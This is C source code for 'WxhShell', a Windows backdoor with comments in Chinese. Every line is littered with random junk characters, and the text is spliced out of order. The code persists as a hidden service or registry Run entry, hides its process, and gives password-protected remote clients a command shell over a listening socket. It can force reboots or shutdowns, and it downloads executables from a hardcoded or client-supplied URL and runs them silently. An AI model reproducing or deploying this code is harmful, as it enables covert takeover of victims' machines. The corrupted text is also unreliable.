    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dX~$#-Ad86  
    else { vZt48g  
    closesocket(wsh); KP]{=~(  
    ExitThread(0); ZC:7N{a  
    } t=(CCq_N,  
    break; *U^7MU0  
    } 3At%TA:  
  // 获取shell rjW\tuZI  
  case 's': { >FM2T<.;  
    CmdShell(wsh); TW}nO|qw  
    closesocket(wsh); 4brKAqg.  
    ExitThread(0); vTU*6)  
    break; 5QUL-*t  
  } Z |CL:)h  
  // 退出 etWCMR  
  case 'x': { 5ki<1{aVtZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f^?k?_~PN  
    CloseIt(wsh); hUGP3ExC*  
    break; wm/=]*jpK  
    } Gg=Y}S7:  
  // 离开 xF8^#J6>  
  case 'q': { m_g2Cep  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9s'[p'[Z  
    closesocket(wsh); iSg^np  
    WSACleanup(); wXnluE  
    exit(1); 1z$K54Mj  
    break; Zw<\^1  
        } I[v6Y^{q  
  } CDU$Gi  
  } B78e*nNS#2  
9d_ Zdc  
  // 提示信息 Gm2q`ki  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /I/gbmc)  
} ic(`Ev  
  } sV`!4 u7%}  
~SN *  
  return; AeN$AqQd/  
} -\V!f6Q  
Ri mz~}+  
// shell模块句柄 7)#8p @Q  
int CmdShell(SOCKET sock) 5.3=2/  
{ T z?0E"yx  
STARTUPINFO si; u?B9zt%$-m  
ZeroMemory(&si,sizeof(si)); }5qpiS"V9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gONybz6]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^k\q  
PROCESS_INFORMATION ProcessInfo; O4.`N?Xq  
char cmdline[]="cmd"; A5[iFT>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 82*nC!P3E  
  return 0; rZSD)I  
} C_ 4(- OWq  
FZ~^cK9g:  
// 自身启动模式 o/~Rf1  
int StartFromService(void) n/Fx2QC{  
{ { usv*Cm  
typedef struct wFX>y^ 1  
{ ,\Uc/w R  
  DWORD ExitStatus; ly~tB LH}  
  DWORD PebBaseAddress; _ ,~D]JYE  
  DWORD AffinityMask; L }L"BY3$  
  DWORD BasePriority; f5o##ia7:  
  ULONG UniqueProcessId; A$o7<Hx  
  ULONG InheritedFromUniqueProcessId; I92orr1  
}   PROCESS_BASIC_INFORMATION; *P0sl( &  
k|D =Q  
PROCNTQSIP NtQueryInformationProcess; ]r.95|V*  
iwx*mC{|A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J-d>#'Wb|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T7qE 2  
6s(.u l  
  HANDLE             hProcess; c>.=;'2  
  PROCESS_BASIC_INFORMATION pbi; M>g%wg7Ah  
w)7s]Ld  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (F=q/lK$  
  if(NULL == hInst ) return 0; e.VR9O]G  
4RyQ^vL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YE;Tpji  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wGhy"1g#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PSREQK@}E  
26B+qXEt  
  if (!NtQueryInformationProcess) return 0; @aY>pr5!  
Gk-49|qIV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y^[?F>wB  
  if(!hProcess) return 0; /0z#0gNp  
,0\P r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |!hN!j*)  
BBDt^$  
  CloseHandle(hProcess); <:ptNGR  
?M9?GodbP.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w 21g&  
if(hProcess==NULL) return 0; CKy/gTN  
SbK6o:[  
HMODULE hMod; :F`"CR^,  
char procName[255]; |*v w(  
unsigned long cbNeeded; ;GV~MH-F  
witx_r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $iMbtA5a Q  
hOj(*7__  
  CloseHandle(hProcess); ;Q\MH t*  
{n 4W3  
if(strstr(procName,"services")) return 1; // 以服务启动 Zonr/sA~  
EZJ[+ -Q;  
  return 0; // 注册表启动 a?1Ml>R6P  
} 'dJ(x  
rcUJOI  
// 主模块 D* QZR;D#.  
int StartWxhshell(LPSTR lpCmdLine) QE4TvnhK  
{ oef]  
  SOCKET wsl; T7LO}(I.&  
BOOL val=TRUE; 2P,{`O1]  
  int port=0; } e]tn)  
  struct sockaddr_in door; )NmYgd~%  
g27)$0&0  
  if(wscfg.ws_autoins) Install(); UH`cWVLpr  
-)9aY.  
port=atoi(lpCmdLine); >)6k)$x%%  
Ctx{rf_~  
if(port<=0) port=wscfg.ws_port; CXh >'K  
X?++I 4\  
  WSADATA data; kzmw1*J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g=e~YM85  
l5FKw;=K}:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j^m x,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n+D93d9LP  
  door.sin_family = AF_INET; COH9E\ZGF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p-kug]qX  
  door.sin_port = htons(port); tqXCj}mR  
!SdP<{[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s|D[_N!|  
closesocket(wsl); GQ6~Si2  
return 1; 4u E|$  
} JQDS3v=1$  
Y*0j/91  
  if(listen(wsl,2) == INVALID_SOCKET) { @y8) "m"  
closesocket(wsl); #L+ZHs~  
return 1; $f AZ^   
} ,SH^L|I  
  Wxhshell(wsl); [ z,6K=  
  WSACleanup(); `{H!V~42  
09J,!NN  
return 0; /)<Xoa  
S z-TarTF  
} G;AJBs>Y}  
an)Z.x  
// 以NT服务方式启动 thSXri?kl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4^7*R  
{ VJS1{n=;k  
DWORD   status = 0; "10.,QK  
  DWORD   specificError = 0xfffffff; " nLWvV1  
:czUOZ_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C ett*jm_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <q:2' 4o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nU/x,W[}  
  serviceStatus.dwWin32ExitCode     = 0; ;R7+6  
  serviceStatus.dwServiceSpecificExitCode = 0; ?OC&=}  
  serviceStatus.dwCheckPoint       = 0; LfMN 'Cb  
  serviceStatus.dwWaitHint       = 0; @=qWwt4~  
TNlS2b1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~;@\9oPpz%  
  if (hServiceStatusHandle==0) return; Rts.jm>[  
I @ D<rjR  
status = GetLastError(); 6\RZ[gA?  
  if (status!=NO_ERROR) .NMZHK?%  
{ WD|pG;Gq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4o kZ  
    serviceStatus.dwCheckPoint       = 0; 0}- MWbG  
    serviceStatus.dwWaitHint       = 0; &XB1=b5  
    serviceStatus.dwWin32ExitCode     = status; v,c;dlg_  
    serviceStatus.dwServiceSpecificExitCode = specificError; @Uqcym.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oiItQ4{<  
    return; 9,$ n 6t;  
  } F@1Eg  
&?^"m\K4J*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /U= ?D(>x  
  serviceStatus.dwCheckPoint       = 0; QLb!e"C  
  serviceStatus.dwWaitHint       = 0; *a'I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iz2;xa*  
} Tz{-L%*#  
}VqCyJu&{  
// 处理NT服务事件,比如:启动、停止 vq1u !SY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |fPR7-  
{ R2y~+tko?  
switch(fdwControl) RC^k#+  
{ DYTC2  
case SERVICE_CONTROL_STOP: 'e8O \FOf  
  serviceStatus.dwWin32ExitCode = 0; ~\u?Nf~L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r[3 2'E  
  serviceStatus.dwCheckPoint   = 0; Q\aC:68  
  serviceStatus.dwWaitHint     = 0; w5q'M  
  { [N0"mE<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zZiga q"  
  } N2&h yM  
  return; ( \7Yo^  
case SERVICE_CONTROL_PAUSE: K*N8Vpz(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RH "EO4  
  break; U\6Ee-1#_  
case SERVICE_CONTROL_CONTINUE: 8YO` TgW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +,J!xy+~,  
  break; 66HxwY3a  
case SERVICE_CONTROL_INTERROGATE: ~/;shs<9EM  
  break; O[R   
}; Gy!bPVe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TchByN6oN<  
} OGPrjL+  
Ns.{$'ll  
// 标准应用程序主函数 IaGF{O3.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vzZ"TSP  
{ W=2#Q2)  
6bUcrw/# p  
// 获取操作系统版本 6Q NO#!;  
OsIsNt=GetOsVer(); s;xErH@RA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *[tLwl.  
/\5u-o)  
  // 从命令行安装 ^2uT!<2  
  if(strpbrk(lpCmdLine,"iI")) Install(); H~?p,h  
.p-T >  
  // 下载执行文件 )`}4rD^b  
if(wscfg.ws_downexe) { K<fB]44Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @<B$LJ|jdG  
  WinExec(wscfg.ws_filenam,SW_HIDE); w>&g'  
} XVY j X  
1qhSN#s{_  
if(!OsIsNt) { pR3K~bx^  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,zh4oX`>  
HideProc(); m =%yZ2F;  
StartWxhshell(lpCmdLine); `,)%<}  
} -\M;bQV[C  
else G/&Wc2k  
  if(StartFromService()) 90!67Ap`x  
  // 以服务方式启动 #LfoG?k1K  
  StartServiceCtrlDispatcher(DispatchTable); %Sw hNn  
else #)( D_*  
  // 普通方式启动 ]/odp/jm  
  StartWxhshell(lpCmdLine); hmJa1fw=  
^q/_D%]C  
return 0; YbuS[l8  
} W.TdhJW9  
$J]o\~Z J  
-h{|u{t  
}N W01nee  
=========================================== 1D)=q^\I  
$mF9os-  
%lSjC%Z'd  
rjL4t^rT  
NnqAr ,  
Oq*=oz^~1  
" aui3Mq#f  
YB"=eld  
#include <stdio.h> qp55U*  
#include <string.h> {q|Om?@  
#include <windows.h> EN{o3@ O'  
#include <winsock2.h> 22r$Ri_>  
#include <winsvc.h> "*Gp@  
#include <urlmon.h> p5JRG2zt  
ZOY zCc(d  
#pragma comment (lib, "Ws2_32.lib") L1YiXJ,T,  
#pragma comment (lib, "urlmon.lib") <U~at+M  
t$-!1jq  
#define MAX_USER   100 // 最大客户端连接数 !nt[J$.z^  
#define BUF_SOCK   200 // sock buffer #0'%51Jcl  
#define KEY_BUFF   255 // 输入 buffer  :C9vs  
C] >?YR4  
#define REBOOT     0   // 重启 Q+a"Z^Z|  
#define SHUTDOWN   1   // 关机 l-<EG9m@  
}-H)jN^  
#define DEF_PORT   5000 // 监听端口 K| '`w.  
Ji7<UJ30x  
#define REG_LEN     16   // 注册表键长度 YK%rTbB(  
#define SVC_LEN     80   // NT服务名长度 z` (">J  
DZqY=Sze  
// 从dll定义API _q=ua;I&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vk.P| Y-;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G*%:"qleT$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !"<~n-$B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xj;V  
l' 2C/#8F  
// wxhshell配置信息 MkX=34oc^  
struct WSCFG { 0Ait7`  
  int ws_port;         // 监听端口 &AP`k  
  char ws_passstr[REG_LEN]; // 口令 "r[Ob]/  
  int ws_autoins;       // 安装标记, 1=yes 0=no iFnD`l 6)  
  char ws_regname[REG_LEN]; // 注册表键名 ~z)JO'Z$  
  char ws_svcname[REG_LEN]; // 服务名 K/K|[=bl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bvS6xU- J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \/ ipYc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  hLj7i?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0o!mlaU#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %77uc9}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bEln.)  
N&^zXY  
}; &x7iEbRs  
h"nhDART<  
// default Wxhshell configuration DTG-R>y^  
struct WSCFG wscfg={DEF_PORT, S%aup(wu6  
    "xuhuanlingzhe", Da8 |eN}   
    1, ~r~YR=  
    "Wxhshell", SP/'4m  
    "Wxhshell", E^A S65%bL  
            "WxhShell Service", zwz_K!229  
    "Wrsky Windows CmdShell Service", hfw+n<  
    "Please Input Your Password: ", `]^W#6l  
  1, L9-Jwy2(>  
  "http://www.wrsky.com/wxhshell.exe", IqiU  
  "Wxhshell.exe" huW,kk<]y  
    }; "$pbK:  
;wkMa;%`g|  
// 消息定义模块 [!4xInS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VXW*LEk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hz*T"HJ]t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wl&T9O;?  
char *msg_ws_ext="\n\rExit."; AUu<@4R7  
char *msg_ws_end="\n\rQuit."; XwFTAaZ  
char *msg_ws_boot="\n\rReboot..."; D,Gv nfY  
char *msg_ws_poff="\n\rShutdown..."; (Ldvx_  
char *msg_ws_down="\n\rSave to "; * V7mM?  
#:By/9}-  
char *msg_ws_err="\n\rErr!"; yjsj+K pL  
char *msg_ws_ok="\n\rOK!"; 7'"qW"<  
;0Q" [[J  
char ExeFile[MAX_PATH]; dNhb vzl(  
int nUser = 0; = pn;b1=  
HANDLE handles[MAX_USER]; J]#rh5um  
int OsIsNt; ZuybjV1/f6  
cc3B}^@p=  
SERVICE_STATUS       serviceStatus; Wy}^5]R0E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o$eCd{HuX  
Ln2FG4{  
// 函数声明 B}[f]8jrM  
int Install(void); HE-5e): k  
int Uninstall(void); q)L4*O  
int DownloadFile(char *sURL, SOCKET wsh); 2.I|8d[  
int Boot(int flag); +Wg/ O -  
void HideProc(void); KILX?Pt[7  
int GetOsVer(void); NXFi*  
int Wxhshell(SOCKET wsl); r dSL  
void TalkWithClient(void *cs); bj}Lxc],  
int CmdShell(SOCKET sock); :CW^$Zvq  
int StartFromService(void); ^)?Wm,{"w  
int StartWxhshell(LPSTR lpCmdLine); 38D5vT)n  
]t~.?)Ad+2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $BMXjXd}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ c4jGJ  
wpuK?fP  
// 数据结构和表定义 -f&vH_eK  
SERVICE_TABLE_ENTRY DispatchTable[] = c0'ryS_Z9  
{ JR#4{P@A  
{wscfg.ws_svcname, NTServiceMain}, p|.5;)%|  
{NULL, NULL} ofV0L  
}; n 5R9<A^  
& H%/.4la  
// 自我安装 #jW-&a  
int Install(void) 05R"/r*  
{  e|!'  
  char svExeFile[MAX_PATH]; 4h@,hY1#  
  HKEY key; pQBn8H|Y  
  strcpy(svExeFile,ExeFile); d/ ^IL*O  
sdZ$3oE.  
// 如果是win9x系统,修改注册表设为自启动 XJ\R'?j  
if(!OsIsNt) { Rtz~:v%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RB+Jp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); olv?$]  
  RegCloseKey(key); cyJ{AS+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b(GV4%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dEtjcId  
  RegCloseKey(key); m%`YAD@2z  
  return 0; r[i^tIv6As  
    } qisvGHo  
  } ;,[0bmL  
} B4RrUA32  
else { NUYKMo1ze  
o13jd NQ-  
// 如果是NT以上系统,安装为系统服务 5OI.Ka  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,~naKd.ZY  
if (schSCManager!=0) g,._3.D  
{ 49Jnp>h  
  SC_HANDLE schService = CreateService o@zxzZWg  
  ( Fn@`Bi?#q  
  schSCManager, cZxY,UvYa  
  wscfg.ws_svcname, \uOM,98xS  
  wscfg.ws_svcdisp, 9Vm1q!lE  
  SERVICE_ALL_ACCESS, >;I8w(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -p_5T*R  
  SERVICE_AUTO_START, :,0(aB  
  SERVICE_ERROR_NORMAL, <3{MS],<<  
  svExeFile, m}wn+R  
  NULL, !{.CGpS ]  
  NULL, nU>P%|loXx  
  NULL, ae sk.  
  NULL, 1p. c6[9 -  
  NULL 58s-RO6  
  ); 2L](4Q[M  
  if (schService!=0) t`H1]`c?  
  { g{yw&q[B=  
  CloseServiceHandle(schService); :0l+x 0l}  
  CloseServiceHandle(schSCManager); 031"D*W'i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OZxJDg  
  strcat(svExeFile,wscfg.ws_svcname); ,-e}X w9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?@G s7'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Lgvey%  
  RegCloseKey(key); Zt!#KSF7%  
  return 0; +^Xf:r` G  
    } lr>NG,N  
  } eG,x\  
  CloseServiceHandle(schSCManager); <YU?1y?V  
} B"&-) (  
} `yv?PlKL  
~b~Tq  
return 1; .|O T#"LP  
} zzf@U&x<  
RK!9(^Ja  
// 自我卸载 vkE`T5??  
int Uninstall(void) hU$o^ICH  
{ [K3 te  
  HKEY key; B r#{  
#"UO`2~`l  
if(!OsIsNt) { J 8%gC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xT+_JT65  
  RegDeleteValue(key,wscfg.ws_regname); 3lp'U&3`5  
  RegCloseKey(key); t.9s49P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "A}sD7xy9  
  RegDeleteValue(key,wscfg.ws_regname); ^N/d`IAjv  
  RegCloseKey(key); qk<jvha  
  return 0; V~dhTdQ5}  
  } sQ}|Lu9hZ  
} <r#FI8P;X  
} QR&e~rks  
else { >Q/;0>V  
'SFAJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N#ggT9>X  
if (schSCManager!=0) !.6n=r8 d  
{ `D77CC]vU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "TA0--6  
  if (schService!=0) qzZ/%{Ak  
  { P2'N4?2  
  if(DeleteService(schService)!=0) { D}?p>e|<D  
  CloseServiceHandle(schService); G(7%*@SX  
  CloseServiceHandle(schSCManager); qofAA!3z  
  return 0; >%tG[jb  
  } J%CCUl2  
  CloseServiceHandle(schService); v'i'I/  
  } BH0m[9nU;  
  CloseServiceHandle(schSCManager); NT+.E[J6  
} 6nL^"3@S!  
} NBPP?\1  
5GM-*Ak@  
return 1; ii?T:T@  
} PLkS-B  
;eYG\uKC{  
// 从指定url下载文件 uN)c!='I  
int DownloadFile(char *sURL, SOCKET wsh) (xb2H~WrN  
{ Rge>20uTl$  
  HRESULT hr; H7Q$k4\l  
char seps[]= "/"; TaRPMKk  
char *token; (F&LN!Hn>p  
char *file; q\@Zf}  
char myURL[MAX_PATH]; qSNCBn '  
char myFILE[MAX_PATH]; osXEzr(  
|`o|;A]  
strcpy(myURL,sURL); vclc%ws  
  token=strtok(myURL,seps); }&vD(hX  
  while(token!=NULL) 5?^#v  
  { ^4fvV\ne_~  
    file=token; 'W(u.  
  token=strtok(NULL,seps); 4gen,^Ij  
  } (X "J)x aQ  
iE''>Z  
GetCurrentDirectory(MAX_PATH,myFILE); !i t orSl  
strcat(myFILE, "\\"); Mc,|C)  
strcat(myFILE, file); tpGT~Y(  
  send(wsh,myFILE,strlen(myFILE),0); !`e`4y*N  
send(wsh,"...",3,0); .aT@'a{F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fn,n'E]  
  if(hr==S_OK) uA#K59E+  
return 0; `^[k8Z(  
else r0}x:{$M  
return 1; Rt?CE jy  
66& uK|  
} o4" [{LyT  
HS <Jp44  
// 系统电源模块  @*eY~  
int Boot(int flag) 7GO9z<m)  
{ Ye3o}G9z  
  HANDLE hToken; %4nf(|8n  
  TOKEN_PRIVILEGES tkp; +KbkdY Z  
!CU-5bpu  
  if(OsIsNt) { 1\fx57a\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &ww-t..  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c K\   
    tkp.PrivilegeCount = 1; |aP`hVm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HF*0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _]zX W  
if(flag==REBOOT) { 8lM=v> Xc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^y@ W\  
  return 0; iF+:j8 b  
} $0 .6No_|  
else { >T]9.`xhK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n$C- ^3 c  
  return 0; Tv"T+!Z  
} 7<)H?;~;  
  }  :f[ w  
  else { ]jD\4\M}  
if(flag==REBOOT) { #ELe W3 S}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r2SZC`Z}-M  
  return 0;  ?^Aj\z>  
} }B'-*)^|e{  
else { , ~ 1+MZ=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w8X5kk   
  return 0; Sesdhuy.@  
} vSHPN|*  
} 6m$X7;x}  
sY!JB7!j  
return 1; EK4%4<"  
} i975)_X(  
Nqj@p<y/q  
// win9x进程隐藏模块  `vH|P  
void HideProc(void) T */I4"  
{ _fS\p|W(E  
_S{TjGZ&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  b+a+OI D  
  if ( hKernel != NULL ) Lan|(!aW  
  { MxpAh<u!vF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _OG9wi(Fpx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BlpyE[h T  
    FreeLibrary(hKernel); ]D;*2Lw4&  
  } u)Kiwa  
U Y*`R  
return; SWw!s&lP&  
} SLEOc OAmD  
HsTY*^V  
// 获取操作系统版本 eW 4[2Q  
int GetOsVer(void) >bWpj8Kv  
{ YT?Lt!cl=  
  OSVERSIONINFO winfo; >N al\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _6 ~/`_(KP  
  GetVersionEx(&winfo); *qE[Y0Cd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !f \y3p*j  
  return 1; Bk 1Q.Un  
  else }_L@CpG  
  return 0; ET`;TfqM  
} !R WX1Z  
f[!Q R  
// 客户端句柄模块 ;Q2p~-0Q  
int Wxhshell(SOCKET wsl) !58-3F%P  
{ 4 |N&Y  
  SOCKET wsh; ?'h<yxu]u0  
  struct sockaddr_in client; Oav^BhUO  
  DWORD myID; mMw&{7b:  
AtA}OY]D /  
  while(nUser<MAX_USER) R gEKs"e  
{ Tp`by 1s  
  int nSize=sizeof(client); kG+CT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K{HRjNda#  
  if(wsh==INVALID_SOCKET) return 1; SN'LUwaMp!  
0QDm3V0n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gBq,So  
if(handles[nUser]==0) atFj Vk^  
  closesocket(wsh); }{S W~yW  
else Xt/muV  
  nUser++; R{+ Rvk  
  }  OXzJ%&h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^c^9kK'  
{JzX`Z30l  
  return 0; Vl?R?K=`~J  
} s0.yPA  
o_EXbS]C  
// 关闭 socket 8sg8gBt  
void CloseIt(SOCKET wsh) C 9,p-  
{ 6lq7zi}'w  
closesocket(wsh); 6A/Nlk.  
nUser--; *#frbV?;  
ExitThread(0); >NW /0'/  
} 6,0pkx&Nv  
'e\m6~u\hm  
// 客户端请求句柄 zpIl'/ i  
void TalkWithClient(void *cs) z(3mhMJY  
{ |z|5j!Nfh  
rFn;z}J2  
  SOCKET wsh=(SOCKET)cs; @=b0>^\m  
  char pwd[SVC_LEN]; 7vcYI#(2 Y  
  char cmd[KEY_BUFF]; iH( K[F /  
char chr[1]; Z%XBuq:BY  
int i,j; +:~&"U^ z&  
`t:7&$>T  
  while (nUser < MAX_USER) { 3. Qf^p  
netKt_  
if(wscfg.ws_passstr) { 9.lSF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rr*",a"}m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @"kA&=0;|J  
  //ZeroMemory(pwd,KEY_BUFF); sxO_K^eD  
      i=0; (OYR, [*  
  while(i<SVC_LEN) { ()(@Qcc  
b UAjt>+  
  // 设置超时 IL}pVa00{n  
  fd_set FdRead; c$?qN&X_K  
  struct timeval TimeOut; g;\zD_":l  
  FD_ZERO(&FdRead); dj?.Hc7od  
  FD_SET(wsh,&FdRead); LZM[Wg#  
  TimeOut.tv_sec=8; 8:L%-  
  TimeOut.tv_usec=0; 7-w +/fv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3oxQ[.o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @+ Berb  
9 o-T#~i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WaN0$66[:  
  pwd=chr[0]; gO4J[_  
  if(chr[0]==0xd || chr[0]==0xa) { {.H}+@0  
  pwd=0; e1}h|HL j  
  break; ~{Tus.jk  
  } +tdt>)a  
  i++; /Rx%}~x/m  
    } {NKDmeg:D  
8_Y{7;<ey  
  // 如果是非法用户,关闭 socket //Hn[wEOh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A7+eWg{  
} N~\1yQT  
5^GUuFt5m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^%#v AS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :8E(pq|1PB  
rNfua   
while(1) { &{x5 |$SD  
vay_QxB5  
  ZeroMemory(cmd,KEY_BUFF); $62ospR^Y  
c(ZkK  
      // 自动支持客户端 telnet标准   SG8|xoL  
  j=0; WSi Utf|g  
  while(j<KEY_BUFF) { +To{Tm-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nypa,_9}  
  cmd[j]=chr[0]; *@cXBav/<  
  if(chr[0]==0xa || chr[0]==0xd) { G5"UhnOD'  
  cmd[j]=0; -7'>Rw  
  break; :~ zK0v"  
  } B\KvKT|\  
  j++; V_Wv(G0-\  
    } E:&=A 4 %  
NLoJmOi;L7  
  // 下载文件 <3O>  
  if(strstr(cmd,"http://")) { 3PpycJ}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4}W*,&_  
  if(DownloadFile(cmd,wsh)) |"5NI'X?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HS="t3  
  else P3on4c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nI|jUD +y  
  } 3"6lPUS  
  else { lDCoYX_  
,kpk XK  
    switch(cmd[0]) { ,m8l /wG  
  nP0|nPWz#  
